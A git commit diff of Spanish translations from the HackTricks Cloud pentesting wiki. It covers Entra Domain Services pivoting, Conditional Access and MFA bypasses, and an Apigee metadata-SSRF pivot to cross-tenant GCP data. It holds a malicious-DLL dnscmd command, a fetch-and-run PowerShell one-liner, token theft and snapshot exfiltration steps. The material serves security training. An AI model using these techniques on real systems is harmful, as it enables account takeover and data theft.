Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-02-12 13:30:58 +00:00
parent d08bfe6c6f
commit 7c4a46b237
5 changed files with 146 additions and 79 deletions

View File

@@ -1,11 +1,10 @@
Puedes eliminar este contenido antes de enviar la PR:
## Attribution
Valoramos tu conocimiento y te animamos a compartir contenido. Asegúrate de que solo subas contenido que poseas o que tengas permiso para compartir del autor original (agregando una referencia al autor en el texto añadido o al final de la página que estás modificando o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de compartición confiable y legal para todos.
## Atribución
Valoramos tu conocimiento y te animamos a compartir contenido. Por favor, asegúrate de subir únicamente contenido que poseas o del que tengas permiso del autor original para compartir (añadiendo una referencia al autor en el texto añadido o al final de la página que estás modificando, o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de intercambio legal y de confianza para todos.
## HackTricks Training
Si estás añadiendo para poder aprobar el examen de la [certificación ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flags en lugar de 3, necesitas llamar a la PR `arte-<username>`.
Si estás enviando un PR para poder aprobar el examen de la [ARTE certification](https://hacktricks-training.com/courses/arte) con 2 flags en lugar de 3, necesitas nombrar el PR `arte-<username>`, `grte-<username>` o `azrte-<username>`, dependiendo de la certificación que estés realizando.
También recuerda que las correcciones de gramática/sintaxis no serán aceptadas para la reducción de flags del examen.
Además, recuerda que no se aceptarán correcciones de gramática/sintaxis para la reducción de flags del examen.
En cualquier caso, ¡gracias por contribuir a HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
> - Consulta los [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) o al [**telegram group**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -2,42 +2,42 @@
{{#include ../../../banners/hacktricks-training.md}}
## Servicios de Dominio
## Servicios de dominio
Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar Controladores de Dominio (de hecho, ni siquiera tienes acceso a ellos).
Microsoft Entra Domain Services permite desplegar un Active Directory en Azure sin necesidad de gestionar Domain Controllers (de hecho ni siquiera tienes acceso a ellos).
Su objetivo principal es permitirte ejecutar aplicaciones heredadas en la nube que no pueden utilizar métodos de autenticación modernos, o donde no deseas que las búsquedas de directorio siempre regresen a un entorno AD DS local.
Su objetivo principal es permitir ejecutar aplicaciones heredadas en la nube que no pueden usar métodos de autenticación modernos, o cuando no quieres que las búsquedas de directorio siempre vuelvan a un entorno on-premises AD DS.
Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros directorios activos) al servicio de dominio AD, necesitas **cambiar la contraseña del usuario** a una nueva para que pueda ser sincronizada con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a los Servicios de Dominio hasta que se cambia la contraseña.
Ten en cuenta que para sincronizar los usuarios generados en Entra ID (y no sincronizados desde otros Active Directory) al servicio de dominio AD necesitas **cambiar la contraseña del usuario** por una nueva para que pueda sincronizarse con el nuevo AD. De hecho, el usuario no se sincroniza desde Microsoft Entra ID a Domain Services hasta que se cambia la contraseña.
> [!WARNING]
> Incluso si estás creando un nuevo dominio de Active Directory, no podrás gestionarlo completamente (a menos que explotes algunas configuraciones incorrectas), lo que significa que por defecto, por ejemplo, no puedes crear usuarios en el AD directamente. Los creas **sincronizando usuarios desde Entra ID.** Puedes indicar sincronizar todos los usuarios (incluso aquellos sincronizados desde otros AD locales), solo usuarios de la nube (usuarios creados en Entra ID), o incluso **filtrarlos más**.
> Incluso si estás creando un nuevo dominio Active Directory no podrás gestionarlo completamente (a menos que explotes algunas misconfiguraciones), lo que significa que por defecto, por ejemplo, no puedes crear usuarios directamente en el AD. Los creas **sincronizando usuarios desde Entra ID.** Puedes indicar sincronizar todos los usuarios (incluso los sincronizados desde otros AD on-premise), solo usuarios en la nube (usuarios creados en Entra ID), o incluso **filtrarlos más**.
> [!NOTE]
> En general, debido a la falta de flexibilidad en la configuración del nuevo dominio y al hecho de que los AD suelen estar ya en local, esta no es la principal integración entre Entra ID y AD, pero sigue siendo interesante saber cómo comprometerlo.
> En general, debido a la falta de flexibilidad en la configuración del nuevo dominio y al hecho de que los ADs suelen estar ya on-premise, esta no es la principal integración entre Entra ID y AD, pero sigue siendo interesante saber cómo comprometerlo.
### Pivoting
Los miembros del grupo **`AAD DC Administrators`** tienen permisos de administrador local en las máquinas virtuales que están unidas al dominio gestionado (pero no en los controladores de dominio) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Escritorio Remoto para conectarse de forma remota a las máquinas virtuales unidas al dominio**, y también son miembros de los grupos:
Los miembros del grupo generado **`AAD DC Administrators`** reciben permisos de administrador local en las VMs que están unidas al dominio gestionado (pero no en los domain controllers) porque se añaden al grupo de administradores locales. Los miembros de este grupo también pueden usar **Remote Desktop para conectarse remotamente a VMs unidas al dominio**, y además son miembros de los grupos:
- **`Denied RODC Password Replication Group`**: Este es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden ser almacenadas en caché en RODCs (Controladores de Dominio de Solo Lectura).
- **`Group Policy Creators Owners`**: Este grupo permite a los miembros crear Políticas de Grupo en el dominio. Sin embargo, sus miembros no pueden aplicar políticas de grupo a usuarios o grupos ni editar GPOs existentes, por lo que no es tan interesante en este entorno.
- **`DnsAdmins`**: Este grupo permite gestionar la configuración de DNS y fue abusado en el pasado para [escalar privilegios y comprometer el dominio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), sin embargo, después de probar el ataque en este entorno se verificó que la vulnerabilidad está parcheada:
- **`Denied RODC Password Replication Group`**: Este es un grupo que especifica usuarios y grupos cuyas contraseñas no pueden ser almacenadas en caché en RODCs (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Este grupo permite a sus miembros crear Group Policies en el dominio. Sin embargo, sus miembros no pueden aplicar políticas de grupo a usuarios o grupos ni editar GPOs existentes, por lo que no es tan interesante en este entorno.
- **`DnsAdmins`**: Este grupo permite gestionar la configuración DNS y fue abusado en el pasado para [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), sin embargo después de probar el ataque en este entorno se comprobó que la vulnerabilidad está parcheada:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Tenga en cuenta que para otorgar estos permisos, dentro de AD el grupo **`AAD DC Administrators`** se convierte en miembro de los grupos anteriores, y también el GPO **`AADDC Computers GPO`** agrega como Administradores Locales a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
Nota que para conceder estos permisos, dentro del AD el grupo **`AAD DC Administrators`** se hace miembro de los grupos anteriores, y además la GPO **`AADDC Computers GPO`** está añadiendo como Local Administrators a todos los miembros del grupo de dominio **`AAD DC Administrators`**.
El pivoteo desde Entra ID a un AD creado con Domain Services es sencillo, solo agregue un usuario al grupo **`AAD DC Administrators`**, acceda a través de RDP a cualquier/todas las máquinas en el dominio y podrá robar datos y también **comprometer el dominio.**
Pivotar desde Entra ID hacia un AD creado con Domain Services es sencillo: basta con añadir un usuario al grupo **`AAD DC Administrators`**, acceder por RDP a cualquiera/todas las máquinas del dominio y podrás robar datos y además **comprometer el dominio.**
Sin embargo, el pivoteo desde el dominio a Entra ID no es tan fácil, ya que nada del dominio se está sincronizando en Entra ID. Sin embargo, siempre verifique los metadatos de todas las VMs unidas, ya que sus identidades administradas asignadas podrían tener permisos interesantes. También **extraiga todas las contraseñas de los usuarios del dominio** e intente crackearlas para luego iniciar sesión en Entra ID / Azure.
Sin embargo, pivotar desde el dominio hacia Entra ID no es tan fácil, ya que nada del dominio se sincroniza con Entra ID. No obstante, siempre verifica los metadatos de todas las VMs unidas, ya que sus managed identities asignadas podrían tener permisos interesantes. Además **dump all the users passwords from the domain** y trata de crackearlas para luego iniciar sesión en Entra ID / Azure.
> [!NOTE]
> Tenga en cuenta que en el pasado se encontraron otras vulnerabilidades en este AD administrado que permitieron comprometer los DC, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un atacante que comprometa el DC podría mantener fácilmente la persistencia sin que los administradores de Azure se den cuenta o incluso puedan eliminarla.
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
### Enumeración
```bash
@@ -59,7 +59,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -1,16 +1,16 @@
# Az - Políticas de Acceso Condicional y Bypass de MFA
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso adecuados en las circunstancias correctas.\
Las políticas de acceso condicional **definen** **Quién** puede acceder a **Qué** desde **Dónde** y **Cómo**.
Azure Conditional Access policies son reglas configuradas en Microsoft Azure para aplicar controles de acceso a servicios y aplicaciones de Azure basados en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a proteger sus recursos aplicando los controles de acceso adecuados en las circunstancias correctas.\
Conditional access policies básicamente **definen** **Quién** puede acceder **Qué** desde **Dónde** y **Cómo**.
Aquí hay un par de ejemplos:
1. **Política de Riesgo de Inicio de Sesión**: Esta política podría configurarse para requerir autenticación multifactor (MFA) cuando se detecta un riesgo de inicio de sesión. Por ejemplo, si el comportamiento de inicio de sesión de un usuario es inusual en comparación con su patrón regular, como iniciar sesión desde un país diferente, el sistema puede solicitar autenticación adicional.
2. **Política de Cumplimiento de Dispositivos**: Esta política puede restringir el acceso a los servicios de Azure solo a dispositivos que cumplan con los estándares de seguridad de la organización. Por ejemplo, el acceso podría permitirse solo desde dispositivos que tengan software antivirus actualizado o que estén ejecutando una cierta versión del sistema operativo.
1. **Sign-In Risk Policy**: Esta política podría configurarse para requerir autenticación multifactor (MFA) cuando se detecte un riesgo en el inicio de sesión. Por ejemplo, si el comportamiento de inicio de sesión de un usuario es inusual en comparación con su patrón habitual, como iniciar sesión desde otro país, el sistema puede solicitar una autenticación adicional.
2. **Device Compliance Policy**: Esta política puede restringir el acceso a servicios de Azure solamente a dispositivos que cumplan con los estándares de seguridad de la organización. Por ejemplo, el acceso podría permitirse solo desde dispositivos que tengan el antivirus actualizado o que ejecuten una versión determinada del sistema operativo.
## Enumeración
```bash
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Bypass de Políticas de Acceso Condicional
## Evasión de Políticas de Acceso Condicional
Es posible que una política de acceso condicional esté **verificando alguna información que puede ser fácilmente manipulada, permitiendo un bypass de la política**. Y si, por ejemplo, la política estaba configurando MFA, el atacante podrá eludirla.
Es posible que una política de acceso condicional esté **comprobando información que puede manipularse fácilmente, permitiendo así evadir la política**. Y, por ejemplo, si la política configuraba MFA, el atacante podrá eludirla.
Al configurar una política de acceso condicional, es necesario indicar los **usuarios** afectados y los **recursos objetivo** (como todas las aplicaciones en la nube).
Al configurar una política de acceso condicional es necesario indicar los **usuarios** afectados y los **recursos objetivo** (como todas las aplicaciones en la nube).
También es necesario configurar las **condiciones** que **activarán** la política:
También hay que configurar las **condiciones** que **activarán** la política:
- **Red**: IP, rangos de IP y ubicaciones geográficas
- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida
- **Riesgos de Microsoft**: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas
- **Aplicaciones cliente**: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes”
- Para eludir el inicio de sesión con una opción no seleccionada
- **Filtro para dispositivos**: Es posible generar una regla relacionada con el dispositivo utilizado
- **Flujos de autenticación**: Las opciones son “Flujo de código de dispositivo” y “Transferencia de autenticación”
- Esto no afectará a un atacante a menos que esté tratando de abusar de cualquiera de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
- **Network**: IP, rangos de IP y ubicaciones geográficas
- Puede eludirse usando un VPN o Proxy para conectarse desde un país permitido o logrando iniciar sesión desde una IP permitida
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: Any device o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
- Si “Any device” no está seleccionado pero sí están seleccionadas todas las otras opciones, es posible evadirlo usando un user-agent aleatorio no relacionado con esas plataformas
- **Client apps**: Las opciones son “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” y “Other clients”
- Para evadir, iniciar sesión con una opción no seleccionada
- **Filter for devices**: Es posible generar una regla relacionada con el dispositivo usado
- **Authentication flows**: Las opciones son “Device code flow” y “Authentication transfer”
- Esto no afectará a un atacante a menos que esté intentando abusar de alguno de esos protocolos en un intento de phishing para acceder a la cuenta de la víctima
Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme
Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea compliant
### Plataformas de Dispositivos - Condición de Dispositivo
### Device Platforms - Device Condition
Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent** por lo que es fácil de eludir. Incluso **haciendo que todas las opciones exijan MFA**, si usas un **user-agent que no es reconocido,** podrás eludir el MFA o el bloqueo:
Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent**, por lo que es fácil de eludir. Incluso **forzando MFA en todas las opciones**, si usas un **user-agent que no sea reconocido**, podrás evadir el MFA o el bloqueo:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollador:
Simplemente hacer que el navegador **envíe un user-agent desconocido** (por ejemplo `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
Puedes cambiar el user agent **manualmente** en las developer tools:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
O usar una [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Ubicaciones: Países, rangos de IP - Condición de Dispositivo
### Locations: Countries, IP ranges - Device Condition
Si esto está configurado en la política condicional, un atacante podría simplemente usar una **VPN** en el **país permitido** o intentar encontrar una manera de acceder desde una **dirección IP permitida** para eludir estas condiciones.
Si esto está configurado en la política condicional, un atacante podría simplemente usar un **VPN** en el país permitido o intentar encontrar una forma de acceder desde una **IP permitida** para eludir estas condiciones.
### Aplicaciones en la Nube
### Cloud Apps
Es posible configurar **políticas de acceso condicional para bloquear o forzar**, por ejemplo, MFA cuando un usuario intenta acceder a una **aplicación específica**:
Es posible configurar **políticas de acceso condicional para bloquear o forzar** por ejemplo MFA cuando un usuario intenta acceder a una **aplicación específica**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión solo en cualquier aplicación**.\
La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de IDs de aplicación codificados** y tratará de iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito.
Para intentar evadir esta protección deberías ver si puedes iniciar sesión en cualquier aplicación.\
La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de application IDs hardcoded** y probará iniciar sesión en ellas; te informará e incluso te dará el token si tiene éxito.
Para **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
Para **probar application IDs específicos en recursos concretos** también puedes usar una herramienta como:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Además, también es posible proteger el método de inicio de sesión (por ejemplo, si estás intentando iniciar sesión desde el navegador o desde una aplicación de escritorio). La herramienta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algunas verificaciones para intentar eludir estas protecciones también.
Además, también es posible proteger el método de inicio de sesión (p. ej., si intentas iniciar sesión desde el navegador o desde una aplicación de escritorio). La herramienta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algunas comprobaciones para intentar bypassear también estas protecciones.
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida.
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también puede usarse con fines similares, aunque parece no estar mantenida.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también puede usarse para probar estas protecciones y ver si es posible bypassear MFAs o bloqueos, pero esta herramienta funciona desde una **whitebox** perspective. Primero necesitas descargar la lista de Apps allowed in the tenant y luego intentará iniciar sesión en ellas.
## Otras elusiones de Az MFA
## Otros Az MFA Bypasses
### Tono de llamada
Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado** donde se le pedirá al usuario que **envíe el carácter `#`**.
Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado**, donde se le pedirá al usuario que **envíe el carácter `#`**.
> [!CAUTION]
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el mensaje de **buzón de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
> Como los caracteres son simplemente **tonos**, un atacante podría **comprometer** el **voicemail** del número de teléfono, configurar como mensaje el **tono de `#`** y entonces, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
### Dispositivos compatibles
### Compliant Devices
Las políticas a menudo piden un dispositivo compatible o MFA, por lo que un **atacante podría registrar un dispositivo compatible**, obtener un **token PRT** y **eludir de esta manera el MFA**.
Las políticas a menudo exigen un dispositivo compliant o MFA, por lo que un **atacante podría registrar un dispositivo compliant**, obtener un **PRT** y **bypassear de este modo el MFA**.
Comienza registrando un **dispositivo compatible en Intune**, luego **obtén el PRT** con:
Empieza registrando un **dispositivo compliant en Intune**, luego **obtén el PRT** con:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -114,27 +114,27 @@ Encuentra más información sobre este tipo de ataque en la siguiente página:
Este script obtiene algunas credenciales de usuario y verifica si puede iniciar sesión en algunas aplicaciones.
Esto es útil para ver si **no se requiere MFA para iniciar sesión en algunas aplicaciones** que podrías abusar más tarde para **escalar privilegios**.
Esto es útil para ver si **no se te exige MFA para iniciar sesión en algunas aplicaciones** que podrías posteriormente abusar para **escalar privilegios**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Obtiene todas las políticas.
Obtiene todas las políticas
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft usando un conjunto provisto de credenciales y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las conditional access policies y otras configuraciones de MFA, algunos protocolos pueden terminar quedando con un solo factor. También realiza una comprobación adicional de las configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS on-prem si se detecta.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs en múltiples inquilinos de AAD en producción, donde los clientes de AAD creían que tenían MFA aplicado, pero la autenticación basada en ROPC tuvo éxito.
Esta herramienta ha ayudado a identificar bypasses de MFA y luego a abusar de APIs en múltiples tenants de AAD en producción, donde los clientes de AAD creían tener MFA aplicado, pero la autenticación basada en ROPC tuvo éxito.
> [!TIP]
> Necesitas tener permisos para listar todas las aplicaciones para poder generar la lista de las aplicaciones a las que hacer brute-force.
> Necesitas permisos para listar todas las aplicaciones para poder generar la lista de aplicaciones a brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,7 +143,7 @@ Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc.
Donkey token es un conjunto de funciones cuyo objetivo es ayudar a consultores de seguridad que necesitan validar Conditional Access Policies, realizar pruebas en 2FA-enabled Microsoft portals, etc..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
@@ -151,17 +151,17 @@ Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los c
**Prueba cada portal** si es posible **iniciar sesión sin MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Debido a que el **portal** de **Azure** **no está restringido**, es posible **recopilar un token del endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso, se identificó Sharepoint, y se solicita un token para acceder a él:
Debido a que el **Azure** **portal** no está **restringido**, es posible **obtener un token desde el endpoint del portal para acceder a cualquier servicio detectado** por la ejecución anterior. En este caso se identificó Sharepoint, y se solicita un token para acceder a él:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Suponiendo que el token tiene el permiso Sites.Read.All (de Sharepoint), incluso si no puedes acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado:
Suponiendo que el token tiene el permiso Sites.Read.All (desde Sharepoint), aunque no pueda acceder a Sharepoint desde la web debido a MFA, es posible usar el token para acceder a los archivos con el token generado:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Un único proyecto tenant de Apigee puede ser abusado para acceder al servidor de metadata del Message Processor, robar su cuenta de servicio y pivotar hacia una canalización analítica compartida de Dataflow que lee y escribe buckets entre tenants.
### Expose the metadata server through Apigee
- Configura el target del proxy de Apigee a `http://169.254.169.254` y solicita tokens desde `/computeMetadata/v1/instance/service-accounts/default/token` con `Metadata-Flavor: Google`.
- GCP metadata rechaza solicitudes que contengan `X-Forwarded-For`; Apigee lo añade por defecto. Elimínalo con `AssignMessage` antes de proxyear:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### Enumerar la service account robada de Apigee
- La leaked SA (gestionada por Google bajo `gcp-sa-apigee`) puede ser enumerada con herramientas como [gcpwn](https://github.com/NetSPI/gcpwn) para probar rápidamente permisos.
- Se observaron permisos potentes que incluían **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, y **Pub/Sub topic publish**. Descubrimiento básico:
```bash
gcloud compute disks list --project <tenant-project>
```
### Exfiltración de snapshots para servicios gestionados opacos
Con permisos de disk/snapshot puedes inspeccionar runtimes gestionados offline incluso si no puedes iniciar sesión en el proyecto tenant:
1. Crea un snapshot de un disco objetivo en el proyecto tenant.
2. Copia/migra el snapshot a tu proyecto.
3. Recrea un disco a partir del snapshot y adjúntalo a tu VM.
4. Monta e inspecciona logs/configs para recuperar nombres de buckets internos, service accounts y opciones de pipeline.
